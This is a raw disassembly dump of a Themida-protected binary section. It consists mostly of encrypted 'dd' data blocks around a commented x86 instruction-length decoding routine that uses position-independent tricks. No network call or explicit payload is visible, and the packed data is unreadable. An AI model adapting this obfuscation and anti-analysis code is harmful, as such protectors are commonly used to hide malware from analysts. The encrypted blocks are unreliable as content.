73EC5464h, 0E65036F5h, 888E21D2h, 9B03957Dh dd 18FB1h, 879F0700h, 6973E2C8h, 4957C4AAh, 253BA48Ah dd 2168066h, 0CCE2B343h, 0A98F4E62h, 886E2D3Dh, 694F0E1Ah dd 0A32DECFEh, 0E4408DFBh, 4DE6911Ch, 0D5E95382h, 0B3C53016h dd 899C29F4h, 230F7D25h, 791176Eh, 987E268Eh, 39B21A2Eh dd 52FC4DBBh, 5AF08509h, 4D37D7C4h, 0D217E022h, 4C000000h dd 6ED6E853h, 6375E0C6h, 1E0482FBh, 0B60371B4h, 5C8B1060h dd 80CD3BE3h, 268B1060h, 5ECC34ADh, 8B1064D8h, 713042ADh dd 0DEA0208Bh, 5B67D57Eh, 65937AF3h, 0CA32AB9Fh, 0AB21E2Dh dd 0B17F7B62h, 35C3BB2Bh, 58D6E04Fh, 16E242EAh, 0DAB79E91h dd 82980137h, 0DFBAA11Ah, 90A00C28h, 0BD36AF28h, 0EEC261FEh dd 7E815F46h, 0C749C1F1h, 13F9A149h, 0AA1896A8h, 8B127309h dd 5036DE57h, 2D13D2E6h, 71FEAFC3h, 32957D24h, 0A2E0CAh dd 8CF40000h, 60CFB574h, 44B19756h, 28917736h, 36D5312h dd 0F5A030EFh, 7C3B4FB9h, 5B1A2A96h, 3CFB0775h, 1AD9EB56h dd 2D7AE890h, 0D3911CE5h, 0E9916F3Ah, 10602E7Bh, 0DD5BD48Bh dd 0BA798DF7h, 985769D4h, 0D6E853CDh, 0B1D886Eh, 0E9FB664Ch dd 0C7D9442Ah, 9FD2F15Fh, 9C3207B1h, 3A4CB786h, 182A957Bh dd 4B61CAB0h, 144FBDA3h, 6F2159A6h, 0D86FF0Eh, 16842CA5h dd 0E6F21C9h, 1078F66Fh, 596AC42h, 0E9B5765Dh, 8B90BD55h dd 6E83D01Dh, 7FFD760Eh, 5D1C2E99h, 92FA0C77h, 3A8h, 0F4BFDD00h dd 6BD3EB53h, 0A0081A85h, 0D8404CBAh, 0E7686F2h, 42AABE28h dd 76DEF25Ch, 0A9112790h, 0E04856C3h, 19818BFAh, 0E18951B3h dd 4C181h, 0E9830000h, 240C8704h, 6824248Bh, 5F65h, 68243489h dd 4C7Dh, 0BE241489h, 532F7F6Eh, 0B850E6D1h, 0A0528F1Ch dd 8158C629h, 4ECh, 24248900h, 4240483h, 4EC835Ah, 81243489h dd 290D2434h, 428F3588h, 8728108h, 3588290Dh, 5224148Bh dd 0C281E289h, 4, 4C281h, 14870000h, 34FF5C24h, 0C4815E24h dd 4, 0FBBD13E9h, 0A42D83FFh, 0D25A0556h, 2C8061B3h, 8668B875h dd 0C503060Ch, 0CC73E0FFh, 4AF81FF0h, 0BE9F0C5Ch, 59EF5A58h dd 0C96F4860h, 0E8CE1683h, 0FB185730h, 9A1B7C2Ch, 2A80676h dd 67562EB4h, 5A211E5Ch, 18E427BCh, 482D57D3h, 0CF6F6C90h dd 3A1C3197h, 0C8E90DC3h, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 1000000h, 14h dup(0) dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 0C890DEDh, 85C76006h dd 60C885Ah, 0 dd 663E8166h, 0F850FA1h, 0C7000000h, 0C885E85h, 606h, 24E900h dd 858D0000h, 60C8862h, 0B2858D50h, 50060C88h, 0E8006A56h dd 1Dh, 2510C483h, 0FFh, 885E8589h, 361060Ch, 0C885EB5h dd 5A858B06h, 5D060C88h db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5945F2 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5945FE ; --------------------------------------------------------------------------- loc_5945F2: ; CODE XREF: Themida_:005945DBj and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5945FE: ; CODE XREF: Themida_:005945EDj push ebx push esi push edi loc_594601: ; CODE XREF: Themida_:00594656j ; Themida_:00594672j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_594614: ; CODE XREF: Themida_:0059463Bj movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 60C89C4h lea ebp, [ebp+60C883Ah] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_594641 inc cl cmp cl, 0Bh jb loc_594614 loc_594641: ; CODE XREF: Themida_:00594630j cmp cl, 0Bh jz loc_59469E cmp al, 66h jnz loc_59467F cmp byte ptr [ebp-5], 0 jnz loc_594601 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_594677 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_594601 ; --------------------------------------------------------------------------- loc_594677: ; CODE XREF: Themida_:00594664j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59467F: ; CODE XREF: Themida_:0059464Cj cmp al, 67h jnz loc_594601 cmp byte ptr [ebp-6], 0 jnz loc_594601 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_594601 ; --------------------------------------------------------------------------- loc_59469E: ; CODE XREF: Themida_:00594644j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5946CA movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5946CF ; --------------------------------------------------------------------------- loc_5946CA: ; CODE XREF: Themida_:005946A9j movzx edi, al shr edi, 1 loc_5946CF: ; CODE XREF: Themida_:005946C5j push ebp call $+5 pop ebp sub ebp, 60C8A7Ch lea ebp, [ebp+60C873Ah] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_594851 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_594795 dec ecx jz loc_594778 dec ecx jnz loc_5947E8 cmp byte ptr [ebp-2], 0 jnz loc_5947E4 cmp byte ptr [ebp-5], 0 jz loc_594757 mov byte ptr [ebp+0Bh], 2 loc_594757: ; CODE XREF: Themida_:0059474Dj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 60C8B08h mov dword ptr [ebp+60C885Ah], 1 pop ebp jmp loc_5947E8 ; --------------------------------------------------------------------------- loc_594778: ; CODE XREF: Themida_:00594732j cmp byte ptr [ebp-2], 0 jnz loc_5947C2 cmp byte ptr [ebp-5], 0 jz loc_5947C2 mov byte ptr [ebp+0Bh], 2 jmp loc_5947C2 ; --------------------------------------------------------------------------- loc_594795: ; CODE XREF: Themida_:0059472Bj cmp byte ptr [ebp-2], 0 jnz loc_5947DB cmp byte ptr [ebp-5], 0 jz loc_5947CA movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5947C2 mov [ebp+0Bh], cl loc_5947C2: ; CODE XREF: Themida_:0059477Cj ; Themida_:00594786j ... inc byte ptr [ebp+0Bh] jmp loc_5947E8 ; --------------------------------------------------------------------------- loc_5947CA: ; CODE XREF: Themida_:005947A3j cmp dl, 5 jnz loc_5947E8 mov [ebp+0Bh], dl jmp loc_5947E8 ; --------------------------------------------------------------------------- loc_5947DB: ; CODE XREF: Themida_:00594799j cmp dl, 6 jnz loc_5947E8 loc_5947E4: ; CODE XREF: Themida_:00594743j mov byte ptr [ebp+0Bh], 3 loc_5947E8: ; CODE XREF: Themida_:00594739j ; Themida_:00594773j ... dec byte ptr [ebp+0Bh] jz loc_594816 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5947F8: ; CODE XREF: Themida_:0059480Ej movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5947F8 mov esi, edx loc_594816: ; CODE XREF: Themida_:005947EBj and al, 0FEh cmp al, 0F6h jnz loc_59484B cmp edi, 7Fh ja loc_59484B test bl, 38h jnz loc_59484B cmp byte ptr [ebp-7], 0 jz loc_594845 movzx eax, byte ptr [ebp-4] jmp loc_594848 ; --------------------------------------------------------------------------- loc_594845: ; CODE XREF: Themida_:00594836j push 1 pop eax loc_594848: ; CODE XREF: Themida_:00594840j mov [ebp-1], al loc_59484B: ; CODE XREF: Themida_:0059481Aj ; Themida_:00594823j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_594851: ; CODE XREF: Themida_:005946FBj mov al, bl and eax, 7 sub eax, 4 jz loc_59487C dec eax dec eax jz loc_594872 and bl, 7 add [ebp-1], bl jmp loc_594884 ; --------------------------------------------------------------------------- loc_594872: ; CODE XREF: Themida_:00594861j mov al, [ebp-3] add al, 6 jmp loc_594881 ; --------------------------------------------------------------------------- loc_59487C: ; CODE XREF: Themida_:00594859j mov al, [ebp-3] add al, 4 loc_594881: ; CODE XREF: Themida_:00594877j add [ebp-1], al loc_594884: ; CODE XREF: Themida_:0059486Dj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5948AC movzx ecx, byte ptr [ebp-1] inc ecx loc_594897: ; CODE XREF: Themida_:005948A6j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_594897 loc_5948AC: ; CODE XREF: Themida_:0059488Cj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLS db '‹Ðè',9,0 dd 0CE020000h, 3374D2D5h, 8164B98Dh, 6782F0E1h, 8E0F5E76h dd 1Fh, 19870Fh, 13E80000h, 0BD000000h, 5027B569h, 0E5A78960h dd 9E9DC027h, 0BA4ABC48h, 815FBF6Ch, 7156C6h, 2BDE8B00h dd 0FE9D2h, 642B0000h, 685121ADh, 0A41A8445h, 402D8795h dd 16048B91h, 850Fh, 0E8810000h, 6124542Ah, 81FBBF0Fh dd 2D88FFE8h, 0AE88165h, 803493DCh, 8F50C4F3h, 74BB1604h dd 806A19C6h, 0EA8314DDh, 0FE804h, 9D280000h, 5F2067B6h dd 1D1FCD2Eh, 0A89D52C2h, 10E998h, 0AD20000h, 7EFEEE58h dd 0DB73738h, 8CC25F64h, 8159DC1Ah, 0FF8F60FAh, 9A850FFFh dd 0F8FFFFFFh, 8DD98D8Dh, 6A060Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0B866CBC3h, 8D893946h dd 6070A01h, 1421BD8Bh, 85C70607h, 60714A5h, 5AE0h, 6E860h dd 6840000h, 0BBE8DE64h, 5AD5C880h, 27F5858Bh, 0C7610607h dd 72FD585h, 6, 8F0F5000h, 12h, 0DE9h, 73577000h, 13ACDDFFh dd 5EE187D9h, 0FF5F9E4Dh, 7045DB5h, 0BD896006h, 60703DDh dd 95FF61F8h, 6071C19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0DAC35343h, 0E53F11C9h, 7403BB0Fh, 0C9850922h dd 6A06070Ch, 6995FF00h, 8B06071Bh, 0AE7DEBC0h, 5B13068Dh dd 0C7DEFDA2h, 80B36335h, 38DEF44Eh, 70894317h, 0BF66644Eh dd 813A0F7Eh, 0AC8A597Eh, 0EF6AB616h, 0BE804340h, 0CB2C0EA1h dd 29F951C0h, 69C59DB1h, 46807B6Dh, 1B65EA77h, 4FBEE627h dd 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh, 0A1F0C024h dd 87602E08h, 7CBA3A0Eh, 79723574h, 0D1BDB1Bh, 0A84D1880h dd 959CFDA8h, 4F1A31CFh, 0E75B76BEh, 0F4BBC2FCh, 7528F235h dd 12E8h, 32F30600h, 0D9A1C3F0h, 0C908F255h, 37E57777h dd 0F38DBDAh, 0E80h, 840F6000h, 0 dd 1399529h, 5A610607h, 18CD8589h, 0C2810607h, 6998h, 14818D31h dd 0BB0607h, 89000000h, 70DD59Dh, 1334FF06h, 5890Fh, 0AFB80000h dd 5E102342h, 6860Fh, 8D8B0000h, 6070DB9h, 0DEBAF681h dd 880F3E13h, 4, 0C8AFB966h, 0FED9F681h, 66530D67h, 5F4DE7BFh dd 0DCF8C681h, 0BD3113B3h, 6072959h, 8B1A3489h, 719F18Dh dd 4EB8306h, 0FB81EBB4h, 0FFFF9720h, 0C850Fh, 0CB8A0000h dd 14E9h, 83A7C700h, 0B70F38F1h, 0FF8FE9C6h, 0EC53FFFFh dd 27B00790h, 2DEBE5h, 0D0000000h, 9CBFAE0Dh, 0F9DFF231h dd 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h, 9D8993h dd 67268168h, 3B2BD14h, 355FF5D2h, 0AB4E9h, 90516800h dd 2AE9060Ch, 68FFFAEDh, 60C9177h, 0FAED20E9h, 925468FFh dd 16E9060Ch, 68FFFAEDh, 60C930Ah, 0FAED0CE9h, 93E368FFh dd 2E9060Ch, 68FFFAEDh, 60C94C9h, 0FAECF8E9h, 958768FFh dd 0EEE9060Ch, 68FFFAECh, 60C9782h, 0FAECE4E9h, 985E68FFh dd 0DAE9060Ch, 85FFFAECh, 8AE834D8h, 90EE3AC8h, 93F13DC7h dd 9BF945E7h, 1A0450D4h, 6BF9C0F9h, 73F9C11Fh, 7D03C927h dd 8410D331h, 7B4AC538h, 0F000E8B8h, 4AE2C6A5h, 0AA79F474h dd 0FC18F744h, 84E25DADh, 89E733C1h, 98873AC6h, 69C74226h dd 0ED681EA2h, 1478FD1Eh, 5BD626FAh, 33AE3AFDh, 0CB810FD5h dd 0A75E217Fh, 0C6765D8h, 5AAAFAF6h, 6206B8A7h, 22F16CE7h dd 0F60C6713h, 42F23363h, 0C8A260DCh, 0EDF3C278h, 3AFC13C8h dd 0F87C1D77h, 0E87FFC98h, 515F2200h, 0F541728h, 6AA44084h dd 8BB71666h, 7BAED2E2h, 8F072C8h, 7F2C0000h, 713391DDh dd 703997E3h, 9642A0ECh, 874EACF8h, 0A2C3ADF9h, 0D21EA269h dd 0D622AC74h, 0D824B278h, 0DD29B77Ah, 1D20EF6Ah, 42F000F7h dd 60BE7F63h, 0FC5A109Eh, 9AF8AB39h, 0EFD49D7h, 6E3DB8B0h dd 0FC136A32h, 0B1803383h, 0F00B658Eh, 0C68FED68h, 853B8B3Eh dd 793B48E2h, 0B999CA2Ch, 4Eh, 0E6744AD5h, 0CD48981Eh dd 13759EFEh, 0FCAFFFFCh, 0B6A022Dh, 0B69E4F0h, 35A74C45h dd 0A9E321D8h, 2600A359h, 0C15D207Eh, 702373F9h, 0BA1726F5h dd 0F848F00Bh, 0DF5E2DA8h, 80F00BBAh, 18DA7A30h, 5899CB0Ch dd 0B8h, 2FBD7FDDh, 18DB9579h, 0B47BD98Ch, 5C1F7D30h, 0FCBF1DD0h dd 0EF552470h, 9FF60C6Bh, 64E65524h, 1977F60Ch, 0C47ACA56h dd 0C915A366h, 691CA86Bh, 0A924447Ah, 139B82DAh, 209BEBFCh dd 0D85B2AA5h, 85F00B54h, 54D76635h, 3888F00Bh, 544FEEBDh dd 0C010F00Bh, 0EFCFBE0Ah, 682FFE79h, 0BDFA1121h, 0CD94F26Dh dd 1849F7D4h, 8EDE8C2Ch, 971DE442h, 0CC111438h, 0E93FF2B4h dd 7CAh, 0BB07A552h, 0C10D9B5Dh, 0C6129A63h, 0C612BC68h dd 0C713A168h, 0B47BBCDDh, 0BE86E430h, 0C88EEC38h, 0CD90EE3Ah dd 580F33Fh, 0F60736h, 957958F0h, 449014DBh, 0C58723E6h dd 0B79BE737h, 79F4744Ah, 13752AAAh, 702373FCh, 0B6A9EA1h dd 9DB558F0h, 0CA3C4C0Eh, 0CB8C99h, 0DBA80000h, 0A3926118h dd 0BCF60C67h, 0B691C6Ch, 8245C044h, 65D7BB94h, 0BA6D23E7h dd 0CBA41EBh, 0D9672AF6h, 0E06C2F8Dh, 8D54B22Dh, 5C625107h dd 5316910Ch, 0D8D663B7h, 0E9B86ED6h, 0FC138993h, 0E560ACFCh dd 46989B6Ah, 75C5F00Bh, 7AEED0BFh, 86B584FFh, 53F00B46h dd 0DD2D078Dh, 29DDAC27h, 92FA112Eh, 0EE4CC742h, 9DEDA026h dd 3EC289E7h, 16A265C3h, 0EFB61460h, 0AD540261h, 47FAB4CBh dd 6EDF1h, 0DA822F00h, 0E06E308Eh, 0E76D3694h, 0EB913D9Bh dd 0F67A419Fh, 5E9FC0AAh, 5FBD0997h, 63C10D97h, 6DCB179Dh dd 5FD21EAAh, 0F52615E4h, 5837F000h, 9D60BE74h, 560C5C0Fh dd 0A97831F8h, 0F60C678Ah, 0E73383D3h, 0EE3AC689h, 8C18DB0Ah dd 37005ED9h, 4CAAFAADh, 0EC4A0086h, 804F9B29h, 0F60C67B1h dd 0C03B2D91h, 18F793F1h, 219CECFCh, 0D95C2BA6h, 2F000E8h dd 89D9B339h, 0FBB275D3h, 0E8092Ch, 57E6B5F0h, 8F000E8h dd 308EDEB8h, 438FDF6Dh, 0E39622E5h db 68h, 0Ah word_594F42 dw 0BB41h ; DATA XREF: ___:off_438100o dd 1302B808h, 5903AFABh, 8B0656A6h, 1F0F18BCh, 0D63585FAh dd 0B4CE9C8Ah, 37378D40h, 0E5000006h, 0EA489438h, 0F04E9A28h dd 0F3519D27h, 0FB59A547h, 7A64B034h, 0CB592059h, 0D359217Fh dd 0DD632987h, 0E4703391h, 0DBAA2598h, 0F000F458h, 0DB422605h dd 7BD98C18h, 0B7792CB8h, 0ECAF3A14h, 4E018F52h, 0C262AEFEh dd 93C32F00h, 740h, 0ABE35C00h, 0FF000001h, 0BC5DFBBEh dd 0D324FC30h, 0CF53104h, 8EDE2EF6h, 0F52609D8h, 0A41AF60Ch dd 0FFCE49C4h, 0F60CF53Ch, 0A01BD121h, 7804C725h, 0F0BF75C5h dd 0FC186597h, 0B631ACFCh, 0A9A3783Bh, 77D213F4h, 8B95A8h dd 373EE1F0h, 0CB4E3551h, 8DEBA1F1h, 94F23ECAh, 6AC843D1h dd 1124F3A4h, 4EF00025h, 0ABFBAEFEh, 6B5342F5h, 0E1B382FDh dd 3EFA1FC2h, 92611AE0h, 0F6073DA3h, 0CC1C6CBCh, 0CED9FD6Dh dd 90E699B4h, 55Eh, 1F6B11BEh, 2571FFC1h, 2A76FEC7h, 327E20CCh dd 3B870DD4h, 30F73051h, 32FA58A4h, 3C0260ACh, 490C6AB6h dd 81FC6FBBh, 0F483B2h, 19FDDCF0h, 0D98C18DBh, 0E2949B5Eh dd 8F0A80E3h, 64ED229Ah, 1CD222F7h, 0BA6DFBBEh, 0F0FD55F8h dd 0B3539F2Dh, 93C3B3F1h, 731h, 0C7E34D00h, 0FF000000h dd 79F4744Ah, 18F744AAh, 0E25DADFCh, 0DA9A467h, 758322E6h dd 4A902E85h, 5D20702Dh, 847E8A73h, 2E8C42FBh, 3391DD6Bh dd 4231E470h, 0B847797Ch, 1D40D91Ah, 0BD70FCBFh, 27A21D6Dh dd 0A46B07C9h, 0CD1D6D20h, 4514CA1Ah, 0FA148914h, 64C23D8Dh dd 0D59813A1h, 0D99D507Ah, 1D691F78h, 0BD70FCBFh, 981EE442h dd 4B1A95E5h, 0F60C40E8h, 806F2575h, 0E0AF2A3Eh, 0FC13B0F0h dd 0FE76D525h, 0CAED32Bh, 4780359h, 0F7A40000h, 0E9AB0955h dd 0E8B10F5Bh, 0EBA1864h, 0FFC62470h, 1A3B2571h, 4A961AE1h dd 4E9A24ECh, 509C2AF0h, 55A12FF2h, 0A59867E2h, 0BAF000F3h dd 4AE3F7DBh, 68000001h, 671F1EEDh, 0F040F60Ch, 0FBBE563Ah dd 0EA561E07h, 0FBEAA021h, 672AA5C3h, 589ACD5Bh, 6DE89E3Fh dd 188A509Eh, 0EE69B9FCh, 0F33FCD90h, 7638D295h, 95E535E8h dd 9DCBF3E2h, 0CE2CA722h, 8DB07F05h, 0D2F00095h, 0EC9BBF82h dd 3377CFEAh, 0D66DAE7Dh, 66B6FA14h, 4F1270EBh, 0EAAD0BC1h dd 0A1FF8D50h, 4F9F52DEh, 9255B3FFh, 7AD85306h, 2A7A2DB3h dd 2F398574h, 39FBE5B4h, 0DC2CFC13h, 0D2B3017Dh, 0C6215AEh dd 3BAh, 0CB17B562h, 0D11DAB6Dh, 0D622AA73h, 0D622CC78h dd 0D723B178h, 0C48BCCEDh, 0CE96F440h, 0D89EFC48h, 0DDA0FE4Ah dd 1590034Fh, 0F2F746h, 0A58968F0h, 118C18DBh, 0EDB99A4Eh dd 540A426Ch, 0F48043A1h, 42DC7F41h, 0AD28B477h, 41EE4EEAh dd 651B2965h, 7EB77919h, 0A1FF93C3h, 54A457F5h, 5F1B9Eh dd 25A00000h, 0C275FFC7h, 3B90A372h, 7DCDF60Ch, 43BEE3C7h dd 0C67C174h, 984E9EF6h, 0D85315A9h, 0AB39FF5Dh, 0B3AD26F5h dd 0B606FC13h, 9014DD3Bh, 2CCB7544h, 5518F00Bh, 26EE4CC7h dd 239EEAA0h, 0C37602C5h, 965FBD73h, 0AAD0930Eh, 0CEDBDD8Bh dd 0EC4F1E99h, 71F00B8Ah, 62B86B21h, 2FAh, 8F15DB7Eh, 2DBB7EDCh dd 34C083E1h, 0BC8B0681h, 0F60C6779h, 82E096E6h, 0F6E531BFh dd 45CB92C8h, 75AB7AF5h, 0C2FC136Ah, 0E644BF72h, 13E2981Eh dd 0F00B652Ch, 2EF14FCAh, 8E41CB94h, 9538EE3Eh, 2D2CEEBDh dd 167499CAh, 0A164C250h, 52DA5D13h, 5F000000h, 0B33901h dd 555DBA2h, 744A6B4Fh, 9B6A23E6h, 0F60C6798h, 722575C5h dd 65D8A722h, 0FAF60C67h, 64DF5AAAh, 0F8A44006h, 353A356h dd 7B4A0050h, 0FC137519h, 0B4833686h, 0F00B6A8Dh, 216EC86Bh dd 99CA3C5Fh, 0DE9Fh, 1AC62400h, 0BB71C174h, 8C18DBD7h dd 30B47BD9h, 0D05C1F7Dh, 0A834F755h, 1EE13FF2h, 67A59867h dd 6ABAF60Ch, 35FFCE1Ah, 16F60C6Bh, 68CB9A53h, 0CF60C64h dd 32758722h, 0A0FED8FAh, 4C9C4FDDh, 0D331ACFCh, 2FC18410h dd 0AA61821Ah, 45A3EFA5h, 5443F682h, 3104D36Ah, 2EF60CA7h dd 44138EDEh, 0FC134B94h, 0EA65B101h, 0E0D79527h, 15730EF7h dd 2110C652h, 0D550CB9Dh, 5517AF77h, 74C477C7h, 0BEB3EFBEh dd 0C818FA11h, 8E28EF4Dh, 0A2EE3ECCh, 98F77D44h, 0B4CC2DF0h dd 0BF0D6316h, 5D000001h, 62C00CB0h, 68C612A0h, 6BC9159Fh dd 73D11DBFh, 0F2DC28ACh, 43D198D1h, 4BD199F7h, 55DBA1FFh dd 5CE8AB09h, 53229D10h, 0F000F0E0h, 0DBBA9E7Dh, 685B1D14h dd 0C5714126h, 8CB2975h, 4A4C307Ch, 0AA79F474h, 0FC13752Ah dd 0A1702373h, 0F00B6A9Eh, 40F38143h, 0E59836E2h, 6A989B6Ah dd 75C5F00Bh, 0E7E43EE1h, 5423FB9Eh, 99CA3B92h, 0ADD2h dd 18DBEE00h, 0B47BD98Ch, 86AE7D30h, 63F60C6Bh, 6AC814A0h dd 1C1FEEA7h, 41F60C64h, 6444F7C6h, 0C919F60Ch, 87762979h dd 0E7B63137h, 0FC138831h, 0D89B1666h, 4C3143E6h, 0B0FCB2DEh dd 0F06BFDC1h, 11974E21h, 6D3CB7FAh, 0F60258CEh, 0F5C43F8Fh dd 0F6025846h, 0FC77C717h, 0FD49D79Eh, 0ED4CD89Fh, 0B4CBF4A5h dd 0E358AE61h, 39000000h, 46A4F08Ch, 4CAAF684h, 4FADF983h dd 4FADF9A3h, 0C6B0FC88h, 179D64A5h, 1FA56DCBh, 21AF75D3h dd 28B477D5h, 1FEE69DCh, 0F000FF1Ch, 0DB7E6241h, 31BF8214h dd 0BC1A95E1h, 6CBC6FF5h, 79558B6h, 18DBD7BBh, 67A39261h dd 0ECD3F60Ch, 36322B46h, 5EAEFED8h, 8B8A4DABh, 7B272958h dd 0D11D6D4Ch, 118CDCE2h, 18933442h, 0E25DADFCh, 8CA59867h dd 6ABAF000h, 0E0A301B4h, 2F8D0854h, 0CF2DE06Ch, 752B7B09h dd 4DC85417h, 6941168Ah, 35A3B27h, 86C4878Bh, 0E0662E5Fh dd 5827DA90h, 2F53CA82h, 717CD679h, 0C45214AEh, 7CA2874h dd 5D20A46Bh, 0C9D497C1h, 7629792Eh, 0FC26C18h, 0B366EAB1h dd 9E948D55h, 5620F190h, 6E396E6h, 780CCB63h, 0AD707DD5h dd 0B275D31Fh, 31D7326h, 39000000h, 2EDB694Dh, 0BA7DDB8Eh dd 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h dd 69329043h, 10D230E3h, 837ECF82h, 48904ECh, 5E08924h dd 4, 8704E883h, 505C2404h, 405E089h, 83000000h, 48704E8h dd 34895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h, 81241489h dd 4ECh, 243C8900h, 0DA683A68h, 0C7815F49h, 4D9B7C05h dd 8103E7C1h, 6A3926F7h, 0CCC78135h, 89774776h, 8B545FFEh dd 0C4832414h, 4815604h, 404A8224h, 8428F06h, 74E1BD55h dd 0C5817205h, 943AD5A1h, 5D086A29h, 5A2434FFh, 0FF04C483h dd 835E2434h, 8AE904C4h, 18FFFAE2h, 143080B5h, 9C6AD33h dd 9966B843h, 0C503060Ch, 65D5E0FFh, 77EF57A6h, 63C5701Eh dd 0CBA3162Dh, 9AD81751h, 0E12053BFh, 0FF665F56h, 8A315F0h dd 317358E8h, 59EB256Fh, 908A4D03h, 21B60473h, 0AD364377h dd 0A0BB2C1Bh, 52D82B3Eh, 9C819D3h, 0E8794B07h, 0F5F10163h dd 0BAD6010Dh, 0A45F12BBh, 0B244490Ah, 0D85D3DACh, 32021CB1h dd 22DD3DA1h, 1B1221Fh, 0C5694298h, 8EB5132h, 30F22D08h dd 77E7339Ch, 0D6CE9h, 9C126800h, 0F6E9060Ch, 68FFFAE1h dd 60C9D26h, 0FAE1ECE9h, 9ED768FFh, 0E2E9060Ch, 68FFFAE1h dd 60C9FE1h, 0FAE1D8E9h, 0A13368FFh, 0CEE9060Ch, 68FFFAE1h dd 60CA3BFh, 0FAE1C4E9h, 0A53168FFh, 0BAE9060Ch, 68FFFAE1h dd 60CA625h, 0FAE1B0E9h, 5A02AFFFh, 60EEB00Eh, 67EDB614h dd 6B11BD1Bh, 76FAC11Fh, 0DE1F402Ah dd 0DF3D8917h, 0E3418D17h, 0ED4B971Dh, 0DF529E2Ah, 0FDA69564h dd 0D8B7F000h, 0E0FBBEF4h, 0C617AFD3h, 1ADD3BF1h, 0F2B5138Eh dd 9FFDB066h, 890450DCh, 0FE82B5C6h, 893F897Bh, 0C944249Ah dd 641AA26Bh, 0DDE61AE9h, 50AEFC13h, 6F49FF8Dh, 577728ACh dd 381F0BF8h, 0B2EFB201h, 5508585Bh, 0B02BB86h, 809A3DF0h dd 0CA9031F3h, 357199h, 4A8D0000h, 0C8D08174h, 711F6FA3h dd 0C5D7A621h, 5AFC1324h, 0B988570Ah, 3FF00B3Bh, 0BC1A829Ch dd 68B86BF9h, 8B5012B2h, 3A9899CAh, 0EA3AED73h, 0D8B134h dd 0DBCD0000h, 0B3118C18h, 7C07F1F0h, 74694E0Ah, 5DBB6E24h dd 318F0A96h, 0E232E56Bh, 3F42381Fh, 792FC769h, 17A568C6h dd 0B5430664h, 0CD90EE69h, 9735E13Fh, 9A1E12E1h, 20E3F60Ch dd 27EA4894h, 0C7F7E699h, 3D5726A1h, 92FC136Ah, 0B707F642h dd 252DAA3h, 0D0E1B887h, 0E636FA11h, 1221F06Bh, 4BF6020Fh dd 50D49DFBh, 1C974D9Dh, 1D69F7BEh, 7241F8BFh, 0F6020FC3h dd 9DFC4C9Ch, 0B4CBD6D9h, 21247A2Dh, 0ED00000Bh, 0F2509C40h dd 0F856A230h, 0FB59A52Fh, 361AD4Fh, 826CB83Ch, 0D3612861h dd 0DB612987h, 0E56B318Fh, 0EC783B99h, 0E3B22DA0h, 0F000FB50h dd 0BE4A2E0Dh, 28633FBh, 0B1677CA3h, 0F7958C53h, 4B229AD9h dd 0EE4C98E8h, 0A7229D2Bh, 0C0665D8h, 0F4AAFAF6h, 744AC4A8h dd 0FDB679F4h, 0D3D196A0h, 93474F82h, 